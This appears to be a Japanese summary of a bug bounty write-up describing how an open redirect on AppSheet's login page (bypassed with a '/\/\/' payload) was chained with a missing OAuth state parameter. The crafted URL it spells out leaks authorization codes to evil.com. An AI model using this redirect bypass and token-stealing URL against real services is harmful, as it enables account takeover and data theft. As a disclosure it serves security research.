Hello there, ('ω')ノ
Google がナイスキャッチを獲得したを。
脆弱性:
OAuth
オープンリダイレクト
CSRF
記事:
https://parthdeshani.medium.com/got-nice-catch-by-google-5e6a8211371c
今回は、Google の買収チェーンで複数のバグを見つけて重大度を高め、
GOOGLE によってナイスキャッチを獲得した物語を。
ターゲットとして Appsheet.com を選択し。
これは、コーディングを必要としない Google のインテリジェントな
プラットフォームであり、自分にとっては良さそうで。
AI があると思うのでバグがあり。
そこでバグを探し始めたところ、次のようなリンクを見つけて。
https://www.appsheet.com/account/login?retrunUrl=/account
ログイン後、このリンクがユーザを /account ページに
リダイレクトしていることがわかるので、単純に次のように試してみて。
https://www.appsheet.com/account/login?retrunUrl=google.com
しかし、明らかに制限があるため機能しないため、
下からのリダイレクト用に多くのペイロードを試して。
https://github.com/payloadbox/open-redirect-payload-list
そして驚くべきことに、/\/\/google.com は機能して。
しかし、すでに多くのばかげたバグを提出しており、
Googleはそれらを修正しないとマークしているため、ほとんどの場合、
Googleはこの種の低レベルのバグを受け入れないことを思い出して。
その後、ある日、友人の 1 人と OAuth CSRF のバグについて話し合って。
すぐに appsheet.com に戻り、OAuth 関連のバグを確認し。
良いニュースとして、state=? が取得されているため、
state パラメータが定義されておらず。
State パラメータがなく
基本的に、State パラメータは CSRF 攻撃を防ぐために Oauth で使用されて。
それで、今のところ2つのことを理解していて。
オープンリダイレクト
認証CSRF
次に、Oauth でリダイレクト URL (ru) を確認し。
これは Oauth 2.0 プロトコルの主要部分であり、
攻撃者がこの URL を変更できる場合、
ユーザの認証トークンを利用することができて。
しかし、ほとんどの場合、このリダイレクト URL は保護されており。
したがって、リダイレクト URL をオープンリダイレクト URL に変更して、
最終的な URL は次のようになって。
https://www.appsheet.com/Account/ELCGD?state=?FullScope=yesru=https%3a%2f%2fwww.appsheet.com%2fAccount?retrunUrl=/\/\/evil.com&code=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&scope=email%20profile%20
https://www.googleapis.com/auth/userinfo.profile%20openid%20 https://www.googleapis.com/auth/userinfo.email%20 https://www.googleapis.com/auth/spreadsheets%20 https://www.googleapis.com/auth/drive&authuser=1&prompt=consent
バグ報奨金のヒント:
1.常により大きな影響を与え、複数のバグを連鎖させようとして。
2.スコープについては常に注意深く読んで。
3.決してあきらめず。
Best regards, (^^ゞ